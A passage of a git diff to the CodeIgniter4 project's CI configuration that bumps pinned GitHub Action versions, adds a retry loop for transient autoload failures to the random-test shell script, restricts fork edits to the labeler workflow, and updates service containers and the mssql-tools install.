diff --git a/.gitattributes b/.gitattributes index 3f67f2e35167..b1d0822c10d5 100644 --- a/.gitattributes +++ b/.gitattributes @@ -22,12 +22,12 @@ utils/ export-ignore .php-cs-fixer.no-header.php export-ignore .php-cs-fixer.tests.php export-ignore .php-cs-fixer.user-guide.php export-ignore -deptrac.yaml export-ignore +structarmed.php export-ignore phpmetrics.json export-ignore phpstan-baseline.php export-ignore phpstan-bootstrap.php export-ignore phpstan.neon.dist export-ignore -phpunit.xml.dist export-ignore +phpunit.dist.xml export-ignore psalm-baseline.xml export-ignore psalm.xml export-ignore psalm_autoload.php export-ignore diff --git a/.github/labeler.yml b/.github/labeler.yml index 380ff441c04a..69cb0c51e123 100644 --- a/.github/labeler.yml +++ b/.github/labeler.yml @@ -10,14 +10,14 @@ - any-glob-to-any-file: - '.github/workflows/*' -# Add the `documentation` label to PRs that change any file in the `user_guide_src/source/` directory. +# Add the `documentation` label to PRs for documentation only. 'documentation': - changed-files: - any-glob-to-all-files: - - 'user_guide_src/source/*' + - 'user_guide_src/source/**' -# Add the `testing` label to PRs that change files in the `tests/` directory ONLY. +# Add the `testing` label to PRs that changes tests only. 'testing': - changed-files: - any-glob-to-all-files: - - 'tests/*' + - 'tests/**' diff --git a/.github/scripts/random-tests-config.txt b/.github/scripts/random-tests-config.txt index bb08ccef669d..2435f6ea7a17 100644 --- a/.github/scripts/random-tests-config.txt +++ b/.github/scripts/random-tests-config.txt @@ -9,13 +9,13 @@ # Reference: https://github.com/codeigniter4/CodeIgniter4/issues/9968 API -# AutoReview -# Autoloader +AutoReview +Autoloader # Cache CLI -# Commands -# Config -# Cookie +Commands +Config +Cookie # DataCaster # DataConverter # Database @@ -23,27 +23,27 @@ CLI # Email # Encryption # Entity -# Events -# Files +Events +Files # Filters -# Format +Format # HTTP # Helpers -# Honeypot -# HotReloader +Honeypot +HotReloader # I18n # Images -# Language -# Log +Language +Log # Models -# Pager -# Publisher -# RESTful +Pager +Publisher +RESTful # Router -# Security +Security # Session -# Test -# Throttle -# Typography +Test +Throttle +Typography # Validation -# View +View diff --git a/.github/scripts/run-random-tests.sh b/.github/scripts/run-random-tests.sh index 45376fb58fb2..fe321bef0492 100755 --- a/.github/scripts/run-random-tests.sh +++ b/.github/scripts/run-random-tests.sh @@ -23,6 +23,7 @@ ################################################################################ set -u +export LC_NUMERIC=C trap 'kill "${bg_pids[@]:-}" 2>/dev/null; wait 2>/dev/null' EXIT INT TERM ################################################################################ @@ -476,77 +477,105 @@ run_component_tests() { local output_file="$results_dir/random_test_output_${component}_$$.log" local events_file="$results_dir/random_test_events_${component}_$$.log" - local random_seed=$(generate_phpunit_random_seed) local exit_code=0 - - # Security: Use array to avoid eval and prevent command injection - local -a phpunit_args=( - "vendor/bin/phpunit" - "$test_dir" - "--colors=never" - "--no-coverage" - "--order-by=random" - "--random-order-seed=${random_seed}" - "--log-events-text" - "$events_file" - ) - - if [[ $timeout_seconds -gt 0 ]] && command -v timeout >/dev/null 2>&1; then - (cd "$project_root" && timeout --kill-after=2s "${timeout_seconds}s" "${phpunit_args[@]}") > "$output_file" 2>&1 - exit_code=$? - elif [[ $timeout_seconds -gt 0 ]] && command -v gtimeout >/dev/null 2>&1; then - (cd "$project_root" && gtimeout --kill-after=2s "${timeout_seconds}s" "${phpunit_args[@]}") > "$output_file" 2>&1 - exit_code=$? - else - local timeout_marker="$output_file.timeout" - (cd "$project_root" && "${phpunit_args[@]}") > "$output_file" 2>&1 & - local test_pid=$! - - if [[ $timeout_seconds -gt 0 ]]; then - # Watchdog: monitors test process and kills it after timeout - # Uses 1-second sleep intervals to respond quickly when test finishes early - ( - local elapsed=0 - while [[ $elapsed -lt $timeout_seconds ]]; do - sleep 1 - elapsed=$((elapsed + 1)) - kill -0 "$test_pid" 2>/dev/null || exit 0 - done - - if kill -0 "$test_pid" 2>/dev/null; then - touch "$timeout_marker" - local pids_to_kill=$(pgrep -P "$test_pid" 2>/dev/null) - - kill -TERM "$test_pid" 2>/dev/null || true - if [[ -n "$pids_to_kill" ]]; then - echo "$pids_to_kill" | xargs kill -TERM 2>/dev/null || true - fi - - sleep 2 + local attempt=1 + local -r max_attempts=2 + local random_seed + local -a phpunit_args + + # Retry loop: the Composer classmap autoloader occasionally fails to load + # CodeIgniter\CodeIgniter under parallel CI load — a transient infra race, + # not a real test failure. Retry once on that signature with a fresh random + # seed; a second miss is reported as genuine failure. + while true; do + random_seed=$(generate_phpunit_random_seed) + + # Security: Use array to avoid eval and prevent command injection + phpunit_args=( + "vendor/bin/phpunit" + "$test_dir" + "--colors=never" + "--no-coverage" + "--do-not-cache-result" + "--order-by=random" + "--random-order-seed=${random_seed}" + "--log-events-text" + "$events_file" + ) + + if [[ $timeout_seconds -gt 0 ]] && command -v timeout >/dev/null 2>&1; then + (cd "$project_root" && timeout --kill-after=2s "${timeout_seconds}s" "${phpunit_args[@]}") > "$output_file" 2>&1 + exit_code=$? + elif [[ $timeout_seconds -gt 0 ]] && command -v gtimeout >/dev/null 2>&1; then + (cd "$project_root" && gtimeout --kill-after=2s "${timeout_seconds}s" "${phpunit_args[@]}") > "$output_file" 2>&1 + exit_code=$? + else + local timeout_marker="$output_file.timeout" + (cd "$project_root" && "${phpunit_args[@]}") > "$output_file" 2>&1 & + local test_pid=$! + + if [[ $timeout_seconds -gt 0 ]]; then + # Watchdog: monitors test process and kills it after timeout + # Uses 1-second sleep intervals to respond quickly when test finishes early + ( + local elapsed=0 + while [[ $elapsed -lt $timeout_seconds ]]; do + sleep 1 + elapsed=$((elapsed + 1)) + kill -0 "$test_pid" 2>/dev/null || exit 0 + done if kill -0 "$test_pid" 2>/dev/null; then - kill -KILL "$test_pid" 2>/dev/null || true + touch "$timeout_marker" + local pids_to_kill=$(pgrep -P "$test_pid" 2>/dev/null) + + kill -TERM "$test_pid" 2>/dev/null || true if [[ -n "$pids_to_kill" ]]; then - echo "$pids_to_kill" | xargs kill -KILL 2>/dev/null || true + echo "$pids_to_kill" | xargs kill -TERM 2>/dev/null || true + fi + + sleep 2 + + if kill -0 "$test_pid" 2>/dev/null; then + kill -KILL "$test_pid" 2>/dev/null || true + if [[ -n "$pids_to_kill" ]]; then + echo "$pids_to_kill" | xargs kill -KILL 2>/dev/null || true + fi + # Security: Quote and escape test_dir for safe pattern matching + pkill -KILL -f "phpunit.*${test_dir//\//\\/}" 2>/dev/null || true fi - # Security: Quote and escape test_dir for safe pattern matching - pkill -KILL -f "phpunit.*${test_dir//\//\\/}" 2>/dev/null || true fi - fi - ) & - disown $! 2>/dev/null || true + ) & + disown $! 2>/dev/null || true + fi + + wait "$test_pid" 2>/dev/null + exit_code=$? + + if [[ -f "$timeout_marker" ]]; then + exit_code=124 + rm -f "$timeout_marker" + elif [[ $exit_code -eq 143 || $exit_code -eq 137 ]]; then + exit_code=124 + fi fi - wait "$test_pid" 2>/dev/null - exit_code=$? + # Success, exhausted attempts, or a non-infra failure: stop retrying. + if [[ $exit_code -eq 0 ]] || [[ $attempt -ge $max_attempts ]]; then + break + fi - if [[ -f "$timeout_marker" ]]; then - exit_code=124 - rm -f "$timeout_marker" - elif [[ $exit_code -eq 143 || $exit_code -eq 137 ]]; then - exit_code=124 + # Only retry on the known transient autoload race signatures. + # Matching on error messages (not line numbers) so the pattern survives + # unrelated edits to MockCodeIgniter/CIUnitTestCase. + if ! grep -qE 'Failed to open stream: No such file or directory|Class "CodeIgniter.CodeIgniter" not found' "$output_file" 2>/dev/null; then + break fi - fi + + print_debug "Transient autoload failure detected in $component; retrying (attempt $((attempt + 1))/${max_attempts})" + ((attempt++)) + rm -f "$events_file" + done local elapsed=$((($(date +%s%N) - $start_time) / 1000000)) local result_file="$results_dir/random_test_result_${elapsed}_${component}.txt" @@ -610,7 +639,7 @@ run_component_tests() { fi { - echo "> ${phpunit_args[@]:0:6}" + echo "> ${phpunit_args[@]:0:7}" echo "" echo "$output" echo "$predecessor_info" diff --git a/.github/workflows/deploy-apidocs.yml b/.github/workflows/deploy-apidocs.yml index d91d7982dee3..6bcaf710b7f0 100644 --- a/.github/workflows/deploy-apidocs.yml +++ b/.github/workflows/deploy-apidocs.yml @@ -44,7 +44,7 @@ jobs: persist-credentials: false - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: '8.2' tools: phive diff --git a/.github/workflows/deploy-distributables.yml b/.github/workflows/deploy-distributables.yml index cb3f2ca8194b..388829840852 100644 --- a/.github/workflows/deploy-distributables.yml +++ b/.github/workflows/deploy-distributables.yml @@ -72,7 +72,7 @@ jobs: run: ./source/.github/scripts/deploy-framework ${GITHUB_WORKSPACE}/source ${GITHUB_WORKSPACE}/framework ${GITHUB_REF##*/} - name: Release - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 with: github-token: ${{secrets.ACCESS_TOKEN}} script: | @@ -126,7 +126,7 @@ jobs: run: ./source/.github/scripts/deploy-appstarter ${GITHUB_WORKSPACE}/source ${GITHUB_WORKSPACE}/appstarter ${GITHUB_REF##*/} - name: Release - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 with: github-token: ${{secrets.ACCESS_TOKEN}} script: | @@ -190,7 +190,7 @@ jobs: run: ./source/.github/scripts/deploy-userguide ${GITHUB_WORKSPACE}/source ${GITHUB_WORKSPACE}/userguide ${GITHUB_REF##*/} - name: Release - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 with: github-token: ${{secrets.ACCESS_TOKEN}} script: | diff --git a/.github/workflows/deploy-userguide-latest.yml b/.github/workflows/deploy-userguide-latest.yml index 196c764587e6..7be8a04ba246 100644 --- a/.github/workflows/deploy-userguide-latest.yml +++ b/.github/workflows/deploy-userguide-latest.yml @@ -30,7 +30,7 @@ jobs: persist-credentials: false - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: '8.2' coverage: none @@ -59,7 +59,7 @@ jobs: # Create an artifact of the html output - name: Upload artifact - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: HTML Documentation path: user_guide_src/build/html/ diff --git a/.github/workflows/label-pr.yml b/.github/workflows/label-pr.yml index 730c98f271c1..3fbe8a7a4489 100644 --- a/.github/workflows/label-pr.yml +++ b/.github/workflows/label-pr.yml @@ -14,7 +14,34 @@ jobs: runs-on: ubuntu-24.04 steps: + - name: Checkout + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Verify PR source for workflow file changes + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const prFiles = await github.paginate(github.rest.pulls.listFiles.endpoint.merge({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: context.payload.pull_request.number, + })); + const workflowFileChanged = prFiles.some(file => file.filename === '.github/workflows/label-pr.yml'); + + if (workflowFileChanged) { + if (context.payload.pull_request.head.repo.full_name !== 'codeigniter4/CodeIgniter4') { + throw new Error('Changes to label-pr.yml are not allowed from forks.'); + } + + console.log('Workflow file changed, but PR is from the main repository. Proceeding with label addition.'); + return; + } + + console.log('No changes to workflow file detected, proceeding with label addition.'); + - name: Add labels - uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6.0.1 + uses: actions/labeler@f27b608878404679385c85cfa523b85ccb86e213 # v6.1.0 with: sync-labels: true # Remove labels when matching files are reverted diff --git a/.github/workflows/reusable-coveralls.yml b/.github/workflows/reusable-coveralls.yml index aca808161485..385fda85aba6 100644 --- a/.github/workflows/reusable-coveralls.yml +++ b/.github/workflows/reusable-coveralls.yml @@ -16,20 +16,13 @@ jobs: runs-on: ubuntu-24.04 steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - persist-credentials: false - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ inputs.php-version }} tools: composer @@ -50,7 +43,7 @@ jobs: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - name: Cache dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ github.job }}-php-${{ inputs.php-version }}-${{ hashFiles('**/composer.*') }} @@ -59,7 +52,7 @@ jobs: ${{ github.job }}- - name: Cache PHPUnit's static analysis cache - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: build/.phpunit.cache/code-coverage key: phpunit-code-coverage-${{ hashFiles('**/phpunit.*') }} diff --git a/.github/workflows/reusable-phpunit-test.yml b/.github/workflows/reusable-phpunit-test.yml index c71ab575a53d..2a4ed98cd9b9 100644 --- a/.github/workflows/reusable-phpunit-test.yml +++ b/.github/workflows/reusable-phpunit-test.yml @@ -73,7 +73,7 @@ jobs: # Service containers cannot be extracted to caller workflows yet services: mysql: - image: mysql:${{ inputs.mysql-version || '8.0' }} + image: ${{ inputs.db-platform == 'MySQLi' && format('mysql:{0}', inputs.mysql-version || '8.0') || '' }} env: MYSQL_ALLOW_EMPTY_PASSWORD: yes MYSQL_DATABASE: test @@ -86,7 +86,7 @@ jobs: --health-retries=3 postgres: - image: postgres + image: ${{ inputs.db-platform == 'Postgre' && 'postgres' || '' }} env: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres @@ -100,7 +100,7 @@ jobs: --health-retries=3 mssql: - image: mcr.microsoft.com/mssql/server:2025-CU2-ubuntu-24.04 + image: ${{ inputs.db-platform == 'SQLSRV' && 'mcr.microsoft.com/mssql/server:2025-CU3-ubuntu-24.04' || '' }} env: MSSQL_SA_PASSWORD: 1Secure*Password1 ACCEPT_EULA: Y @@ -114,7 +114,7 @@ jobs: --health-retries=3 oracle: - image: gvenzl/oracle-xe:21 + image: ${{ inputs.db-platform == 'OCI8' && 'gvenzl/oracle-free:latest' || '' }} env: ORACLE_RANDOM_PASSWORD: true APP_USER: ORACLE @@ -146,10 +146,9 @@ jobs: - name: Install mssql-tools on runner if: ${{ inputs.db-platform == 'SQLSRV' }} run: | - # Detect Ubuntu version used by the runner (fallback to 24.04) - DISTRO=$(lsb_release -rs 2>/dev/null || echo '24.04') - curl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - - curl -sSL https://packages.microsoft.com/config/ubuntu/${DISTRO}/prod.list | sudo tee /etc/apt/sources.list.d/mssql-release.list + source /etc/os-release + curl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo gpg --dearmor --batch --yes -o /usr/share/keyrings/microsoft-prod.gpg + echo "deb [arch=amd64 signed-by=/usr/share/keyrings/microsoft-prod.gpg] https://packages.microsoft.com/ubuntu/${VERSION_ID}/prod ${UBUNTU_CODENAME} main" | sudo tee /etc/apt/sources.list.d/mssql-release.list sudo apt-get update sudo ACCEPT_EULA=Y apt-get install -y msodbcsql18 mssql-tools18 unixodbc-dev @@ -170,20 +169,13 @@ jobs: sudo apt-get update sudo apt-get install -y imagemagick libmagickwand-dev ghostscript poppler-data libjbig2dec0:amd64 libopenjp2-7:amd64 - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - persist-credentials: false - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ inputs.php-version }} tools: composer @@ -200,7 +192,7 @@ jobs: echo "ARTIFACT_NAME=${{ inputs.job-id || github.job }}-php-${{ inputs.php-version }}-db-${{ inputs.db-platform || 'none' }}${{ inputs.mysql-version || '' }}" >> $GITHUB_OUTPUT - name: Cache dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.setup-env.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ inputs.job-id || github.job }}-php-${{ inputs.php-version }}-db-${{ inputs.db-platform || 'none' }}-${{ hashFiles('**/composer.*') }} @@ -211,7 +203,7 @@ jobs: - name: Cache PHPUnit's static analysis cache if: ${{ inputs.enable-artifact-upload }} - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: build/.phpunit.cache/code-coverage key: phpunit-code-coverage-${{ hashFiles('**/phpunit.*') }} @@ -241,7 +233,7 @@ jobs: - name: Upload coverage results as artifact if: ${{ inputs.enable-artifact-upload }} - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: ${{ steps.setup-env.outputs.ARTIFACT_NAME }} path: build/cov/coverage-${{ steps.setup-env.outputs.ARTIFACT_NAME }}.cov diff --git a/.github/workflows/reusable-serviceless-phpunit-test.yml b/.github/workflows/reusable-serviceless-phpunit-test.yml index 98bda6f81922..fc0faa4cae41 100644 --- a/.github/workflows/reusable-serviceless-phpunit-test.yml +++ b/.github/workflows/reusable-serviceless-phpunit-test.yml @@ -65,20 +65,14 @@ jobs: sudo apt-get update sudo apt-get install -y imagemagick libmagickwand-dev ghostscript poppler-data libjbig2dec0:amd64 libopenjp2-7:amd64 - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - persist-credentials: false - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false + fetch-depth: 0 - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ inputs.php-version }} tools: composer @@ -95,7 +89,7 @@ jobs: echo "ARTIFACT_NAME=${{ inputs.job-id || github.job }}-php-${{ inputs.php-version }}" >> $GITHUB_OUTPUT - name: Cache Composer dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.setup-env.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ inputs.job-id || github.job }}-php-${{ inputs.php-version }}-${{ hashFiles('**/composer.*') }} @@ -105,7 +99,7 @@ jobs: - name: Cache PHPUnit's static analysis cache if: ${{ inputs.enable-artifact-upload }} - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: build/.phpunit.cache/code-coverage key: phpunit-code-coverage-${{ hashFiles('**/phpunit.*') }} @@ -133,7 +127,7 @@ jobs: - name: Upload coverage results as artifact if: ${{ inputs.enable-artifact-upload }} - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: ${{ steps.setup-env.outputs.ARTIFACT_NAME }} path: build/cov/coverage-${{ steps.setup-env.outputs.ARTIFACT_NAME }}.cov diff --git a/.github/workflows/test-autoreview.yml b/.github/workflows/test-autoreview.yml index fd28e6d4b1c8..77394c0517eb 100644 --- a/.github/workflows/test-autoreview.yml +++ b/.github/workflows/test-autoreview.yml @@ -35,17 +35,11 @@ jobs: name: Check normalized composer.json runs-on: ubuntu-24.04 steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: '8.2' diff --git a/.github/workflows/test-coding-standards.yml b/.github/workflows/test-coding-standards.yml index dcef94f5f0fa..f4853751f79e 100644 --- a/.github/workflows/test-coding-standards.yml +++ b/.github/workflows/test-coding-standards.yml @@ -34,17 +34,11 @@ jobs: composer-option: '--ignore-platform-req=php' steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ matrix.php-version }} extensions: tokenizer @@ -55,7 +49,7 @@ jobs: run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - name: Cache dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ runner.os }}-${{ matrix.php-version }}-${{ hashFiles('**/composer.lock') }} diff --git a/.github/workflows/test-deptrac.yml b/.github/workflows/test-deptrac.yml deleted file mode 100644 index de0da7242503..000000000000 --- a/.github/workflows/test-deptrac.yml +++ /dev/null @@ -1,87 +0,0 @@ -# When a PR is opened or a push is made, perform an -# architectural inspection on the code using Deptrac. -name: Deptrac - -on: - pull_request: - branches: - - 'develop' - - '4.*' - paths: - - 'app/**.php' - - 'system/**.php' - - 'composer.json' - - 'depfile.yaml' - - '.github/workflows/test-deptrac.yml' - push: - branches: - - 'develop' - - '4.*' - paths: - - 'app/**.php' - - 'system/**.php' - - 'composer.json' - - 'depfile.yaml' - - '.github/workflows/test-deptrac.yml' - -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - build: - name: Architectural Inspection - runs-on: ubuntu-24.04 - steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - - - name: Checkout - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - - - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 - with: - php-version: '8.2' - tools: composer - extensions: intl, json, mbstring, gd, mysqlnd, xdebug, xml, sqlite3 - - - name: Validate composer.json - run: composer validate --strict - - - name: Get composer cache directory - id: composer-cache - run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - - - name: Cache dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 - with: - path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} - key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }} - restore-keys: ${{ runner.os }}-composer- - - - name: Create Deptrac cache directory - run: mkdir -p build/ - - - name: Cache Deptrac results - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 - with: - path: build - key: ${{ runner.os }}-deptrac-${{ github.sha }} - restore-keys: ${{ runner.os }}-deptrac- - - - name: Install dependencies - run: composer update --ansi --no-interaction - - - name: Run architectural inspection - run: | - composer require --dev deptrac/deptrac - vendor/bin/deptrac analyze --cache-file=build/deptrac.cache - env: - GITHUB_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/test-phpstan.yml b/.github/workflows/test-phpstan.yml index 00b858923ed8..0801ce4d2741 100644 --- a/.github/workflows/test-phpstan.yml +++ b/.github/workflows/test-phpstan.yml @@ -45,17 +45,11 @@ jobs: strategy: fail-fast: false steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: '8.2' extensions: intl @@ -72,7 +66,7 @@ jobs: run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - name: Cache dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }} @@ -82,7 +76,7 @@ jobs: run: mkdir -p build/phpstan - name: Cache PHPStan result cache directory - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: build/phpstan key: ${{ runner.os }}-phpstan-${{ github.sha }} diff --git a/.github/workflows/test-phpunit.yml b/.github/workflows/test-phpunit.yml index 00dee9b9e43d..8c17cae53de6 100644 --- a/.github/workflows/test-phpunit.yml +++ b/.github/workflows/test-phpunit.yml @@ -11,7 +11,7 @@ on: - 'tests/**.php' - 'spark' - composer.json - - phpunit.xml.dist + - phpunit.dist.xml - .github/workflows/test-phpunit.yml - .github/workflows/reusable-phpunit-test.yml @@ -25,7 +25,7 @@ on: - 'tests/**.php' - 'spark' - composer.json - - phpunit.xml.dist + - phpunit.dist.xml - .github/workflows/test-phpunit.yml - .github/workflows/reusable-phpunit-test.yml diff --git a/.github/workflows/test-psalm.yml b/.github/workflows/test-psalm.yml index c165dc259adc..abd8b1b58073 100644 --- a/.github/workflows/test-psalm.yml +++ b/.github/workflows/test-psalm.yml @@ -35,20 +35,13 @@ jobs: - '8.2' steps: - - name: Checkout base branch for PR - if: github.event_name == 'pull_request' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ github.base_ref }} - persist-credentials: false - - name: Checkout uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Setup PHP - uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f # 2.37.0 + uses: shivammathur/setup-php@7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc # 2.37.1 with: php-version: ${{ matrix.php-version }} extensions: intl, json, mbstring, xml, mysqli, oci8, pgsql, sqlsrv, sqlite3 @@ -61,7 +54,7 @@ jobs: run: echo "COMPOSER_CACHE_FILES_DIR=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - name: Cache composer dependencies - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: ${{ steps.composer-cache.outputs.COMPOSER_CACHE_FILES_DIR }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }}-${{ hashFiles('**/composer.lock') }} @@ -71,7 +64,7 @@ jobs: run: mkdir -p build/psalm - name: Cache Psalm results - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5.0.4 + uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 with: path: build/psalm key: ${{ runner.os 